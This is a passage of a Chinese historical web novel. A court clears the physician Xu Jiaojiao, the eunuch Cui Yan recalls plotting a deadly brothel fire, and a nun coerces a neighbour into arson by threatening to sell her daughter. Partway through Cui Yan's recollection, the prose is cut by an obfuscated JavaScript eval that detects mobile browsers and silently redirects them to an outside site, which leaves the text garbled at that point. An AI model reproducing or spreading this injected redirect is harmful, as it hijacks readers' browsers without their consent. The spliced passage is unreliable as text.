她顿了顿,继续道:“民妇问他,不是去请郎中了吗?他说,他去了,但没请到。民妇又问,那郎中说啥?他说……” 孙氏忽然看向静非,目光直直的:“他说,那郎中是个女子,穿着灰布尼袍,带着斗笠,自称娇杏。但那女子说的话,却不是许娘子会说的话。” “什么话?”周景明追问。 孙氏道:“赵大学给民妇听——他说那女子讲,‘这等污秽之事,也配来寻我?我清清白白一个未出阁的女子,沾了这晦气,往后还怎么说亲?’” 她转向许娇娇,目光中带着歉意:“许娘子,民妇有一回进城,也去张记买过药,见过你。你待人温和,说话和气,从不会那样刻薄。民妇当时就想,这话不像是你说的。可民妇人微言轻,不敢多嘴……” 许娇娇看着她,微微颔首,眼中带着感激。 周景明沉声道:“孙氏,你说的这些,可愿画押作证?” 孙氏点头:“民妇愿意。” 赵大的寡嫂,脸色彻底白了。她猛地扑向孙氏,伸手就要去抓她的脸:“你个贱人!你胡说!你收了那女医的好处是不是?” 衙役连忙将她拉开。 周景明一拍惊堂木,厉声道:“堂上不得放肆!再敢喧哗,杖责二十!” 赵大的寡嫂被按在地上,浑身发抖,却说不出话来。 静非跪在一旁,整个人已经软了。她的目光在堂上乱转,像是想找个地方躲起来。 周景明看向她,目光如刀:“静非,你还有何话说?” 静非张了张嘴,却说不出话来。 正在此时,堂外忽然一阵骚动。 一个穿着靛蓝短褐的汉子被推了进来,身后跟着两个穿青衣的年轻男子。那两个年轻男子面容普通,可那双眼睛,却锐利得像鹰。 长风走在前面,向堂上的周景明拱了拱手:“周县尊,在下奉钦差之命,送一个人来。” 周景明心头一跳,忙起身还礼:“不敢,不敢。敢问这是……” 长风指了指那个被推进来的汉子:“此人姓孙,是王大官人庄上的管事。那日在张记闹事,自称苦主家属的,就是他。” 那汉子正是那日第一个在张记闹事的人。此刻脸色惨白,浑身发抖,一进堂便扑通一声跪了下来。 长风又道:“此人已招供,是收了王大官人的好处,故意去张记闹事,诬陷许娘子。指使他的人,是王大官人的亲信,姓苟。” 周景明脸色变了变,随即沉声道:“来人,将此人收押,待本县细审。” 衙役上前,将那汉子拖了下去。 静非跪在一旁,整个人已经抖得像筛糠。她看着那汉子被拖走,看着孙氏还跪在那里,看着许娇娇站在一旁,目光平静地看着她。那目光不怒不威,却让她如坠冰窖。 她忽然想起那夜,水仙姑对她说的话:“你放心,不会让你白做的。事成之后,我帮你换个地方,重新开始。” 换个地方? 重新开始? 静非忽然笑了。那笑容比哭还难看。 她抬起头,看向周景明,声音沙哑得像破锣:“青天大老爷,贫尼……贫尼愿意招。” 周景明目光一凝:“招什么?” 静非闭上眼,又睁开。她看着许娇娇,眼中带着复杂的情绪。有恨,有怕,还有一丝说不清的悔意。 “那夜冒充许娘子的人……是贫尼。” 此言一出,满堂哗然。 赵大的寡嫂,彻底瘫软在地。胡文站在一旁,脸色白得像纸。堂外围观 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静非浑身发抖,一个字都说不出来。 周景明转身,走回案前,提起笔,在供状上写了几行字。写罢,他将供状推到静非面前。 “画押。” 静非看着那张供状,手抖得几乎握不住笔。她颤颤巍巍地拿起笔,在那张纸上歪歪扭扭画了个押。 周景明拿起供状,看了看,放入袖中。他转向许娇娇,目光中带着几分复杂。 “许氏,如今真相大白,你可有话说?” 许娇娇敛衽为礼,声音平静:“民女多谢县尊明察。” 周景明点了点头,正要说话,忽然听见堂外传来一阵急促的马蹄声。 众人回头望去,只见一队人马正从街角疾驰而来。为首那人一身玄色氅衣,面容冷峻,眸光如电。 裴宴翻身下马,大步走进县衙。 周景明忙迎上去,躬身行礼:“下官见过帅使。” 裴宴摆了摆手,目光越过他,落在堂中那道纤瘦的身影上。 许娇娇站在那儿,依旧穿着那身半旧的藕荷色衣裙,发丝有些散乱,可背脊挺得笔直。她也正望着他,目光相遇的刹那,她唇角微微扬起,露出一抹浅浅的笑。 那笑,像月光破云,清辉洒落。 裴宴心头那根绷了三日的弦,终于松了。 他走进堂中,在许娇娇面前站定,低头看着她。 “可还好?” 许娇娇仰头望着他,声音很轻:“托您的福,还好。” 裴宴点了点头,转身看向周景明:“周县令,此案审得如何?” 周景明忙将供状呈上,又将方才堂上所审之事简要禀报了一遍。 裴宴接过供状,一页页翻看。看到静非的供词时,他眸光微微一沉,抬眼看向那个蜷缩在地上的灰袍身影。 静非被他这一眼看得浑身发寒,缩成一团,连头都不敢抬。 裴宴没有理会她,只将供状还给周景明,淡淡道:“周县令辛苦了。此案既已查明,许氏无罪,当堂释放。” 周景明连连点头:“是,是。下官这就办。” 他转身,正要说话,裴宴忽然又道:“静非冒名行骗,致人死命,按律当如何?” 周景明一愣,随即道:“按《大越刑统》,诈伪欺罔,致人死者,当处绞刑。” 静非猛地抬起头,眼中满是惊恐:“不……不!贫尼是被人指使的!是水仙姑!是她让贫尼做的!” 裴宴没有看她,只淡淡道:“指使之人,本官自会查办。但你所做之事,须你自己承担。” 静非瘫软在地,再说不出一句话。 周景明挥了挥手,衙役上前,将静非拖了下去。 堂外围观的人群渐渐散去。那几个闹事的人也被刘大勇带人押走,等待他们的,将是律法的严惩。 许娇娇站在堂中,看着这一切,心头涌起一股说不清的复杂情绪。 静非,那个在水月庵时便处处与她作对的老尼,终于伏法。可她的心中,却没有丝毫快意。 两条人命,换一个真相。 这代价,太重了。 她正想着,忽然感觉有人走近。抬起头,正对上裴宴的目光。 他就站在她面前,离她不过三尺。夕阳的余晖从门外斜斜照进来,在他肩头镀上一层淡淡的金辉。 “走吧。”他说。 许娇娇一怔:“去哪儿?” 裴宴看着她,唇角微微扬起。那笑意很浅,却让那双总是冷峻的眼眸,此刻显得格外柔和。 “本官说过,必亲迎汝出。” 他顿了顿,声音放轻了些:“走吧,送你回柳枝巷。” 许娇娇望着他,眼眶忽然有些发酸。 她没有说话,只点了点头,跟着他走出县衙。 门外,夕阳将落未落,天边烧成一片橘红。秋风拂面而来,带着深秋的凉意,可此刻,她却觉得心头暖得像揣着一团火。 长风牵着马候在门外,见她出来,咧嘴一笑:“许娘子,没事吧?” 许娇娇摇了摇头,也笑了:“没事。多谢长风大哥。” 长风挠了挠头,嘿嘿笑着,目光却偷偷往裴宴那边瞟了一眼。 裴宴翻身上马,低头看向许娇娇。 “上车吧。” 许娇娇点了点头,上了停在旁边的马车。 马车缓缓驶动,车轮碾过青石板路,发出轱辘的声响。许娇娇坐在车厢里,透过车帘的缝隙,看着前方那道骑在马上的玄色身影。 夕阳将他的影子拉得很长,投在地上,像一道沉默的守护。 她收回目光,靠在车壁上,闭上眼。 三日的担惊受怕,三日的阴冷潮湿,三日的忐忑不安——此刻,终于都过去了。 她想起他说“必亲迎汝出”时,那双深邃的眼睛。想起他说“可还好”时,那微微蹙起的眉头。想起他站在牢房门口,背对着她,说“本官在外头守着”时,那道孤直的背影。 许娇娇唇角微微扬起。 马车一路向南,朝着菰城的方向驶去。 许娇娇睁开眼,透过车帘的缝隙,又看了那道身影一眼。 夕阳余晖里,他的背影,像一株挺拔的青松。 她忽然想起一句诗—— “愿我如星君如月,夜夜流光相皎洁。” 这念头只一闪,便被她自己按了下去。 不该想的。 可那笑意,却怎么也压不下去。 77. 第77章 崔琰的回忆 柳枝巷,静尘已经不记得这是第几次走到巷口张望了。街上行人匆匆,偶然有人驻足,静尘心跳都要停止半拍。长风差人给她们传话的时候,她又惊又喜,娇杏被带走已经三日,她和静心胆战心惊了三日,今日是第三日的傍晚时分了,路上行人越来越稀少,巷子里只有秋风卷着落叶,沙沙作响。就连不远处的崔娘子家的门也关的紧紧的,这几日不见他们动静。远处偶尔传来几声犬吠。 “师姐,你坐下歇会儿吧。”静心的声音从身后传来,带着浓重的鼻音,“长风大哥说了,娇杏会没事的。” 静尘没有回头,只摇了摇头。 从前日午后得到消息。娇杏被押差带走,关进了大牢。她便和静心去张记打听消息,廖大夫一脸愁绪,只说万大夫找人疏通去了。让她们俩先不要慌。她又托人去县衙问,衙役们要么摇头说不知道,要么干脆不理人。 她后来一打听,才知道,娇杏被带到了归平县,并不是在菰城的大牢,她又惊又怕,静心只是哭。两个眼睛都肿了。 静尘虽然没有出过远门,却也知道这个距离意味着什么。骑马要一个多时辰,坐马车更要小半日。娇杏一个弱女子,被押着走那么远的路,关进陌生的牢房,那些人会不会欺负她?会不会对她用刑? 她不敢往下想。 “都怪我……”静心缩在门槛上,抱着膝盖,眼泪扑簌簌地掉,“水仙姑要找的是我们,我有卖身契在水仙姑手中的,我是水月庵的尼姑,是我害了她……” “别胡说。”静尘走回来,在她身边坐下,轻轻揽住她的肩,“是我连累了她,不是你,从一开始都是我连累了你们。当初若不是娇杏为了救我,她也不至于遭到水仙姑她们的陷害。” “那现在怎么办?”静心抬起头,眼睛肿得像桃子,“娇杏会不会有事?他们会不会打她?会不会……” “不会的。”静尘打断她,声音比方才坚定了几分,“娇杏吉人自有天相,不会有事的。” 她说着,目光却不由自主地望向巷口。夜色浓重,什么也看不见。 隔壁的门“吱呀”一声开了。 刘寡妇披着衣裳探出头来,手里端着一大碗热气腾腾的姜汤:“静尘师父,静心师父,喝碗姜汤暖暖身子。这秋夜凉,别冻坏了。” 静尘忙起身接过:“刘婶,这怎么好意思……这么晚了还麻烦您。” “麻烦什么?”刘寡妇摆摆手,在门槛上挨着静心坐下,“我老婆子一个人,也睡不着。想着你们俩在这儿干熬,心里不落忍。” 她叹了口气,望向漆黑的巷口:“许娘子是个好人,平日里对我这老婆子多有照应。她出这样的事,我这心里也堵得慌。” 静心听了,眼泪又涌了出来。 刘寡妇拍拍她的背,轻声道:“姑娘别哭。老天爷有眼,好人有好报,许娘子一定不会有事的。” 这话说出来,她自己心里其实也没底。可这个时候,除了说这些,她也不知道还能做什么。 静尘沉默着,只是握紧了静心的手。 三人就这么坐在门槛上,望着夜色,等着天亮。 也不知过了多久,巷口忽然传来一阵辚辚的车马声。 三人同时抬头望去。 夜色中,一辆青帷马车缓缓驶入巷子,车辕上挂着两盏气死风灯,在黑暗中晕出两团昏黄的光晕。马车后还跟着两骑,马上的人穿着玄色劲装,腰悬长刀。 马车在院门前稳稳停住。 车帘掀开,一个穿着玄色氅衣的男子先跳下车来。他转过身,伸手向车内,扶出一个穿着藕荷色衣裙的女子。 那女子虽然发丝散乱,衣裙沾尘,可背脊挺得笔直。她抬起头,望向院门口站着的人,唇角微微扬起,露出一抹疲惫却温暖的笑。 “娇杏!” 静心第一个冲了过去,一把抱住她,放声大哭。 静尘站在原地,看着那一幕,眼泪也止不住地流下来。她迈步走过去,却在经过那玄衣男子身边时,不由自主地停了一瞬。 裴宴就站在马车旁,静静看着这一幕。烛光映在他脸上,那张总是冷峻的眉眼,此刻竟带着一丝难得的柔和。 他察觉到静尘的目光,微微颔首。 静尘连忙行了合十礼,却不知该说什么。他是长风的主子,是钦差裴安抚。在水患时,她在仁心堂门口见过他和娇杏说话。她只是个寻常尼姑,对这样的大人物,不知该如何应对。 “静尘师父。”裴宴先开了口,声音低沉,“许娘子受了些惊吓,好在没有受伤。回去让她好生歇息,喝碗姜汤驱驱寒。” 静尘连连点头:“多谢天使……多谢天使……” 裴宴没有再多说,只将目光投向正被静心抱着的许娇娇。 许娇娇似有所感,抬起头来,正对上他的目光。 四目相对,隔着几步的距离。秋风拂过,卷起几片枯叶,从两人之间打着旋儿落下。 “裴安抚……”许娇娇松开静心,走上前几步,仰头望着他,“多谢您……又劳您奔波。” 裴宴看着她。月光下,她的脸色有些苍白,可那双眼睛依旧清澈,像深潭映着星子。 “应该的。”他说,声音很轻。 许娇娇望着他,忽然想起什么,从袖中取出那块令牌,双手递还:“这个……还给您。” 裴宴没有接。他低头看着那块躺在掌心的令牌,沉默片刻,才道:“先留着。” 许娇娇一怔。 “若再有人欺负你,”他的声音放得更低,“就亮出来。” 许娇娇握着那块令牌,掌心传来冰凉的触感,却又莫名烫人。她想说什么,却发现喉咙有些发哽。 裴宴看着她,唇角微微扬起,那弧度很浅,却让那张冷峻的脸瞬间柔和了许多。 “进去吧。”他说,“外面凉。” 许娇娇点了点头,却又忍不住问:“您……您连夜奔波……” 裴宴摇了摇头,知道她要说什么,“我还有些事要处理。你先歇着,明日……再说。” 他没有说“明日”如何,但那两个字从他嘴里说出来,竟带着一种让人安心的笃定。 许娇娇看着他,心头涌起千言万语,却最终只化作一句:“您……路上当心。” 裴宴点了点头,翻身上马。他勒着缰绳,低头看了她一眼,那目光里藏着太多说不清的东西。 然后,他催动马匹,带着那两个随从,转身离去。 马蹄声渐渐消失在夜色中。 许娇娇站在院门口,望着那个方向,久久未动。 “娇杏……”静心轻轻拉了拉她的袖子,“进去吧,外面凉。” 许娇娇回过神,点了点头。 一行人进了院子。刘寡妇张罗着去烧姜汤,静心忙着铺床,静尘则拉着许娇娇在炕上坐下,握着她的手,一句话也说不出来。 许娇娇靠在师姐肩上,闭上眼,长长地舒了一口气。 她没想到裴宴竟真的亲自来接他,原本他骑马走在前头,她从车帘的缝隙里盯着他看了许久。 裴宴长的真好看,她想,世上怎么会有如此好看的男子。 暮色里他骑着马,脊背挺得像一把出鞘的剑。玄色的氅衣被风撩起,露出里面暗青色的袍子,衬得整个人清冷又疏离。他微微侧着脸,看不清表情,只能看见下颌的轮廓。利落、干净,像刀裁出来的。 他眉眼生得极好。剑眉斜飞,底下那双瑞凤眼,看人的时候像是能把人看透。鼻梁高挺,薄唇紧抿,整张脸棱角分明......也许是他感受到她目光的炙热,他忽然勒马,转头。 她忙坐直身子,调转目光望向车窗外。 车子一沉,他竟然迈步跨进马车和她同坐,许娇娇心忽然一下一下砰砰跳动,像是有什么东西在胸腔里乱撞。 她忙垂下眼,不看他,可眼角的余光还是忍不住往那边瞥。他坐得离她不远,玄色的氅衣上沾着夜里的寒气,车厢里不但不冷,反而使人燥热了起来。 马车动了。车轮碾过青石板,发出辘辘的声响。她盯着自己的鞋尖,盯着裙摆上沾的泥点,盯着手里那块还没捂热的令牌。就是不往旁边看。 可越不看,越能感觉到他的存在。 他呼吸很轻,几乎听不见。他坐得很稳,马车颠簸时也不见晃动。他身上有一股香味氤氲,极有清韵的香,混着夜风的清冽,若有若无地往她这边飘。 许娇娇攥紧了手里的令牌,掌心开始出汗。 他为什么要上车? 外面不是有马吗?他骑马骑得好好的,那背影多好看啊,干嘛非要挤进来? 她想起方才他那句“先留着”,声音低低的,像怕惊着她似的。又想起他说“若再有人欺负你”时,那眼神。明明是看着她的,却又像在看别的什么,沉沉的,藏着东西。 他是不是……特意上来跟她说点什么? 许娇娇心跳得更厉害了。 可他又不说话。 就这么坐着,离她三尺远,一动不动,连呼吸都听不见。像是只为了坐着,不为别的。 她偷偷抬起眼,飞快地往旁边扫了一下—— 他正闭着眼。 车厢里光线暗,看不清他的表情,只能看见那双眼阖着,睫毛在眼睑下落了浅浅的影。他是累了吧!这么远的路,来回奔波。 他是你的救命恩人,他是大越朝的安抚使......他是为了她才累的。 这个念头一冒出来,她心里那点慌慌的甜,忽然变成了软软的酸。 她想说点什么,又怕吵着他。想让他靠一靠,又不敢动。只能就这么坐着,攥着那块令牌,听着自己的心跳,一下,又一下。 直到外面有人说了一句:“到了。” 她才觉得时间怎么过的这么快,眨眼工夫就到了。 —— 扬州城,繁华的街市,热闹的府城,有些冷清的发运使行署。 崔琰坐在太师椅上,面前的烛火跳动了整整一夜。 他没有睡。 从入夜,先是宋义被钦差的人从应天府带走的密报,然后是归平县水月庵的一个尼姑静非,涉嫌杀人的庭审的详情。再然后是那个闹事的管事也被拿下了。钦差亲自押着那个女大夫离开归平县的消息。 每一条消息,都像一根针,扎在他心头最隐秘的角落。 宋义。 这个名字,他太熟悉了。十年前,正是他让崔旺找的宋义,让崔旺设法,将宋义拉进来。崔旺于是安排了,让他去翠玉楼后巷接的人。那时候宋义还在宋国公府当差,是宋衙内身边得用的。崔旺说这宋义人十分活络,讲兄弟情义。办事稳妥,嘴巴也紧。 更重要的是,他是宋家的人。 崔琰端起茶盏,茶早已凉透。他看着盏中那汪浑浊的茶汤,思绪飘回了二十多年前—— 那年他随父亲进京访友,在一场诗会上,因出身寒微遭人嘲笑。他穿着洗得发白的旧袍,站在一群锦衣华服的世家子弟中间,格格不入。 “这是谁带来的?”有人故意问。 “崔家的,滁州来的。”另一人笑着接话,“听说祖父那一辈中过举人,也算是书香门第。可惜,到他爹这辈,就只能靠给人抄书糊口了。” 众人哄笑起来。他攥紧袖口,指甲掐进掌心。 这时,一个锦衣少年拨开人群走了过来。他认得那人,是忠勤伯府的嫡长子,戴明书。 “崔家的?”戴明书上下打量他,忽然笑了,“我道是谁,原来是崔家庄上那个穷酸。你爹上个月不是还去伯府求过差事?怎么,没成?” 周围的人笑得更响了。他站在人群中央,脸颊烧得发烫,却一个字都辩驳不出。祖父的功名、家道的衰落、父亲的潦倒,在这一刻全都变成了旁人嘴里的笑话。 那日之后,他闭门不出,数月不愿见人。心里的那把火,就是从那个时候烧起来的。 可他没有想到,这还不是最难堪的。 那年腊月,他跟着爹进城送年货。父亲为了贴补家用,年节时也接些跑腿的活计。在街上又撞见了戴明书。他躲闪不及,被那少年骑着的高头大马撞倒在地,箩筐翻了,年货撒了一地。 戴明书勒住马,俯视着他,笑容比诗会上更刺眼。 “哟,又是你。”那少年跳下马,走到他面前,用马鞭挑起他的下巴,“听说你爹现在给人跑腿送货?到底是书香门第,越混越回去了。” 周围的人哄笑起来。 他趴在地上,浑身发抖,不知是气的还是怕的。 戴明书用马鞭在他脸上抽了一下,抽出一道血痕。 “记住了,”他俯下身,凑在崔琰耳边,一字一句道,“你们这种人,就算读过几本书,骨子里也还是泥腿子。这辈子,都只配趴在地上,给爷们当狗。” 那声音,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369794|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,那笑容,他一辈子都忘不了。 那年他十二岁。 回到家后,他在炕上躺了三天,高烧不退。父亲守在床边,红着眼圈一遍遍说着“是爹没用”。母亲只会哭。他没有死。他活过来了,活过来的时候,心里烧着一把火。 那把火,烧了二十年。 他后来想了很多办法报仇。可他家道中落,无权无势,戴明书是伯府公子,他连人家的衣角都摸不着。 唯一的办法,就是进宫。 九岁那年,托了旧日的人情,父亲辗转求人把他送进了宫。净房里躺了三个月,高烧差点要了他的命。可他挺过来了。因为他心里那把火,一直没有灭。 他在宫里熬了十几年,从小太监熬到内侍省都知,从无人问津熬到宋贵妃跟前得用的人。他等的机会,终于来了—— 那年,他收养的侄儿崔旺说,他有个邻居的妹妹,叫罗玉儿,被人卖进了东门瓦子里最有名的翠玉楼。 崔琰听到这个消息的时候,心里那根弦忽然动了。 翠玉楼。那是戴明书这帮纨绔子弟经常光顾的地方。 他开始让人暗中打听,得知罗玉儿还没挂牌,只是个伺候姑娘丫鬟,她伺候的是翠玉楼的头牌水娘。于是他开始布局。 他让崔旺暗中联系罗玉儿,告诉她,有办法让她脱离苦海,但前提是让她做一件事。起初,罗玉儿犹豫,害怕,可架不住崔旺的游说。 她最终答应了。 可光是罗玉儿一个人不够。还需要一个能在外面接应的人。 崔琰想到了宋家。 那时候他已经在宋贵妃跟前得用,和宋国公府的人常有往来。宋家和忠勤伯府素有嫌隙,若能借这个机会把宋家也拉下水,日后就算事情败露,也有宋家在前面挡着。 他存的是这份私心。 他让崔旺设法接近宋衙内的亲信宋义。宋义是宋国公的一个远方亲戚的儿子,被宋国公挑中安排在宋衙内身边当差,宋衙内是京城有名的纨绔,好眠花宿柳,曾和戴明书因为争夺一位女伎,被戴明书抽了一鞭子,自此二人结仇。宋义虽是宋家的人,却并非核心人物,崔琰挑中他也是有一番考量,他正合适。崔旺就三不五时的请宋义吃酒玩耍,宋义觉得崔旺慷慨,边和他推心置腹,他却不知道,这不过是崔琰的计谋而已。那夜崔旺说只是一个小忙,需要宋兄出面解决。宋义自然义不容辞,一只是接一女子,有什么关系。于是,宋义在腊月二十三那夜去翠玉楼后巷接走了罗玉娘。 后来的事,一如他所料。 只是他,他没料到那场大火烧死了二十三个人。包括戴明书。 忠勤伯府从此一蹶不振。 崔琰,终于报了二十年前那一鞭之仇。 更妙的是,宋家也被牵连进来。虽然宋家后来把宋义打发回应天府,把这事压了下去,可崔琰手里始终握着这个把柄。他知道,只要宋义活着,宋家就永远欠他一份人情。 所以他这些年才能在江南顺风顺水,才能在漕运上上下其手而无人敢问。 可如今,宋义落到了钦差手里。 而他万万没有想到的是,十年前的那场大火,竟然有一个漏网之鱼……水娘,竟然能逃到江南,在水月庵做了尼姑,而他更没有想到的是,他在江南做的那些事,这个贱人全都知道,还参与其中…… 崔琰放下茶盏,站起身,走到窗前。窗外夜色浓重,看不见半点星光。 他知道那个姓裴的钦差在查什么。漕运贪腐、人口贩卖,那些都是表面的。那人真正想查的,是他背后的宋家。若只是贪腐,他还有办法周旋。可若是那场大火被翻出来…… 崔琰闭上眼,深吸一口气。 他怕什么? 他怕的不是死。从入宫那天起,他就知道自己这条命是捡来的,随时都可能丢掉。 他怕的是功亏一篑。 二十年的隐忍,二十年的谋划,二十年从泥地里爬出来的路——若是一朝被人翻出来,全部化为乌有,他不甘心。 他更怕的是,被人当作弃子。 他是从底层爬上来的,太清楚这世道的规则了。有用的时候,你是心腹、是干将;没用的时候,你就是祸害、是累赘。宋家不会保他,宋贵妃更不会。到了紧要关头,他们只会把他推出去,让他一个人扛下所有罪名。 到那时,他崔琰,就真的成了那只替罪的狗。 就像当年他趴在地上,被戴明书用马鞭抽着脸时一样。 “使相……” 陈纲头的声音从身后传来,打断了崔琰的思绪。 崔琰没有回头,只沉声道:“说。” 陈纲头跪在地上,低声道:“王大官人,小的已经派人去传话了。可他那个人……您也知道,眼皮子浅,未必把这事放在心上。” 崔琰冷笑一声。 王兆贵,仗着有个当官的兄弟,又认了他做干爹,在归平县横行惯了。这种蠢货,根本不知道什么叫危险。他只怕还等着水仙姑的消息,等着那个女大夫被定罪呢。 “告诉王兆贵,”崔琰缓缓道,“若他还想要这条命,就把他那些账本、信件,统统烧掉。那个苟文书,既然被抓了,就想办法……让他永远闭嘴。” 陈纲头心头一凛,低头应道:“是。” 崔琰转过身,走回太师椅前,重新坐下。烛光在他脸上投下明明灭灭的光影,让那张保养得宜的脸显得有些阴鸷。 “还有,”他压低声音,“让人盯着水月庵。水娘那个贱人,我没想到她居然还活着,她知道得太多了。” 陈纲头抬起头,眼中闪过一丝惊异:“使相的意思是……” 崔琰没有回答,只端起茶盏,抿了一口凉透的茶。 那茶苦涩,一如他此刻的心境。 陈纲头不敢再问,磕了个头,躬身退了出去。 书房里只剩下崔琰一人。 他坐在太师椅上,望着跳动的烛火,眼前却浮现出另一张脸—— 二十多年前,那个穿着锦袍的少年,用马鞭挑起他的下巴,一脸肆意妄为的笑着说:“你这种泥腿子,这辈子都只配趴在地上,给爷们当狗。” 如今,还不是已经化成了一堆白骨。 而他崔琰,还活着,还站在这里。 他闭上眼,深吸一口气。 再睁开眼时,那双眼睛里已经没有了方才的惶惑,只剩下冰冷的狠绝。 78. 第78章 孤注一掷 夜色如墨,归平县水月庵的后院里,一灯如豆。 水仙姑的禅房内,她手中攥着一张皱巴巴的纸条,指节泛白。纸条是半个时辰前送来的,上面只有短短一行字: “静非当堂招供,已指认一切。” 她盯着那行字,眼睛像是要喷出火来。 静非。那个贱人。那个从外面跑回来、跪在她脚边哭诉求饶的贱人。她给了她机会,让她去作证,让她咬死许娇杏,她答应的好好的。可结果呢? 招供。指认一切。 水仙姑猛地将纸条揉成一团,狠狠砸在地上。 “蠢货!”她咬牙切齿,声音像是从牙缝里挤出来的,“没用的东西!早知如此,当初就该让她死在外头!” 烛火被她这一下带得猛地摇曳,墙上她的影子也跟着扭曲晃动,像一只狰狞的鬼。 门外传来轻微的脚步声,一个小尼姑探头进来,战战兢兢地问:“师太,您……您有什么吩咐?” 水仙姑抬眼看去。那目光冷得像毒蛇,小尼姑吓得往后缩了缩。 “滚。” 一个字,小尼姑连滚带爬地跑了。 禅房里又只剩下她一人。水仙姑站起身,走到窗前,推开窗扇。夜风灌进来,带着深秋的寒意,吹得她浑身一颤。 窗外那棵老歪脖子枣树光秃秃的,枝桠伸向夜空,像一只只干枯的手。树下埋着了尘的尸骨,已经八年了。 她忽然想起八年前那个夜晚。了尘跪在她面前,说要去报官,说她做下的那些事天理难容。她冷笑着,用绳子勒紧了她的脖子。了尘挣扎的样子,她至今还记得清清楚楚。 那时她以为自己赢了。 后来呢?来了个许娇杏,救了静尘,逃出水月庵,一路跑到菰城。她几次三番想除掉她,都没能得手。如今,静非又招了。 水仙姑闭上眼,深深吸了一口气。 她知道,自己已经没有退路了。 静非招供,官府很快就会来抓她。那个姓裴的钦差,那双冷得像寒潭的眼睛,她只看过一次,就再也不想看见第二次。他会把她关进大牢,会审她,会让她把所有事情都说出来——翠玉楼、戴明书、了尘、那些被卖掉的女子…… 不。她不能落到那个地步。 水仙姑猛地睁开眼。那双眼眸里,此刻燃烧着疯狂的光。 还有一步棋。 罗玉娘。 那个贱人,十年前放火烧了翠玉楼,如今还想装良家妇女安安稳稳过日子?她手里握着她的把柄,逼她做一件事。放火,烧了柳枝巷那小院,烧死许娇杏和那两个贱尼姑。 玉娘一直在拖。说什么有人暗中保护,说什么不好下手。可她已经没有时间再等了。 今夜。就是今夜。 水仙姑转身,从柜中取出一套夜行衣,三下两下换上。又从枕下摸出一把匕首,藏入袖中。最后,她打开妆匣,取出那支海棠金簪,对着铜镜,缓缓插入发间。 镜中的那张脸,在烛光下显得格外诡异。眉眼依旧精致,可那双眼眸里,已经没有了人的温度。 “玉娘,”她对着镜子轻声说,“你若再不动手,就别怪我不客气了。” 她吹熄了灯,推开房门,消失在浓重的夜色中。 柳枝巷,崔家。 崔娘子坐在床沿,手里捏着一张纸条,浑身发抖。 纸条是傍晚时分从门缝里塞进来的,上面的字迹她太熟悉了—— “静非招了。今夜若不动手,明日我便让人把你那如花似玉的女儿带走。你知道我说到做到。” 带走女儿。 这四个字像一把刀,狠狠扎在她心上。 她抬起头,看向里屋的方向。那里,她的女儿正睡得香甜。十二三岁的年纪,性格温顺,已经出落的十分貌美。她记得第一次崔旺将她带到自己跟前时,才顶点大,一双大大的眼睛里噙满了泪水,她只知道那是崔旺的亲生女儿,她没问崔旺她的娘亲去了哪里,她只是可怜她小小年纪就没了母亲,她将自己所有的爱都倾注在她身上,她给她取名叫巧娘...... 如今巧娘就睡在她的隔壁屋,她只知道她的娘亲最近总是心神不宁,夜里常常惊醒。她不知道,自己的命,正悬在一根线上。 崔娘子闭上眼,眼泪无声滑落。 十年前那场大火,她以为自己已经逃出来了。跟着崔旺,改名换姓,嫁人生子,过上寻常妇人的日子。她以为那些噩梦已经过去了,再也不会回来。 可水娘没有死。她变成了水仙姑,又出现在她面前,用那场大火,用那些死去的人,死死掐住了她的喉咙。 “帮我做一件事,放一把火,烧死那几个人。事成之后,你我两清。” 两清?她知道水仙姑不会放过她的。这种人,留着知道秘密的人,迟早是祸害。可她没有选择。 门外传来轻轻的叩门声。 崔娘子浑身一颤。这么晚了,谁会来? 她起身,走到门边,压低声音问:“谁?” “娘子,是我。”原来是丫鬟茴香的声音。她猛地松了口气,紧接着就听丫鬟道:“水月庵的师太说是收到娘子的信,上门请见。” 崔娘子的心猛地缩紧。她犹豫片刻,稳了稳心神,拉开门。 丫鬟茴香看到她出现,急忙上前想要搀扶她,她挥手让她退下。 ”这里没你什么事,你去陪着姑娘,外头秋寒,莫要吵醒她。” 挥退了丫鬟。她整理了一下衣衫,缓步上前开了大门。 月光下,水仙姑站在门外,穿着一身黑衣,脸上带着诡异的笑。 崔娘子下意识往后退了一步。水仙姑已经迈步跨了进来,顺手关上了门。 两人站在院子里,对视片刻。 “怎么,不请我进去坐坐?”水仙姑率先开口。声音透着一丝冷意。 崔娘子深吸一口气,转身引着水仙姑到了堂屋。 堂屋没有点灯,只有窗外透进来的月光,照出两个女人的轮廓。一个站着,一个靠着墙。 “你……你怎么来了?”崔娘子的声音发颤。 水仙姑看着她,慢慢走近一步。月光在她脸上投下明暗交错的光影,那张脸,此刻看起来像厉鬼。 “我不来,你会动手吗?” 崔娘子张了张嘴,说不出话。 水仙姑冷笑一声,从袖中取出一个小布包,塞进她手里。 “这是火油。淋在门窗上,一点就着。”她盯着崔娘子的眼睛,一字一句道,“今夜子时,我要看到柳枝巷那小院烧起来。里面的人,一个都不能活。” 崔娘子捧着那个布包,手抖得像筛糠。 “我……我做不到……”她声音微弱,“她们是好人,那许娘子救过那么多人……” “好人?”水仙姑笑了,那笑声在寂静的夜里格外刺耳,“玉娘,你跟我说好人?你放火烧死二十三个人的时候,怎么没想过他们是不是好人?” 崔娘子的脸色惨白如纸。 水仙姑凑近她,声音轻得像耳语,却字字诛心:“我告诉你,玉娘,你没有退路了。十年前那场火,你手上沾的血,这辈子都洗不干净。如今再多沾几个,又有什么区别?” 她退后一步,伸手抚了抚发间的金簪。那动作轻柔,像是在抚摸什么珍贵的东西。 “你若不答应,”她慢悠悠地说,“我这就去你女儿房里,带她走。你知道我要把她送去哪里吗?” 崔娘子的瞳孔猛地收缩。 水仙姑笑了:“送去北边。那里有人专门收这种小丫头,调教几年,能卖个好价钱。你放心,我不会让她死得太快的。” “不!”崔娘子扑通一声跪了下来,抓住水仙姑的衣角,“求你……求你别动她……她还是个孩子……” 水仙姑低头看着她,眼中没有半分怜悯。 